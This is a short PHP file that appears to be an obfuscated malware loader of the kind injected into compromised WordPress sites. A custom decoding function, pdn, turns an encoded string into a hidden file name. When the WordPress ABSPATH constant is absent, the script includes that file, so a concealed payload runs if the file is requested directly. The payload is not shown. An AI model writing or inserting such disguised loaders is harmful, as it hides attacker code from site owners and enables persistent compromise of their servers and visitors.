<?php
function pdn($o, $w)
{
    $f = '';
    for ($u = 0; $u < strlen($o); $u += 2) {
        $e = ord($o[$u]) - 65;
        $h = ord($o[$u + 1]);
        if ($h > 90) $h -= 6;
        $g = $e * 52 + ($h - 65);
        $f .= chr($g - $w);
    }
    return $f;
}

if (!defined('ABSPATH')) {
    include pdn('DxFM', 159);
}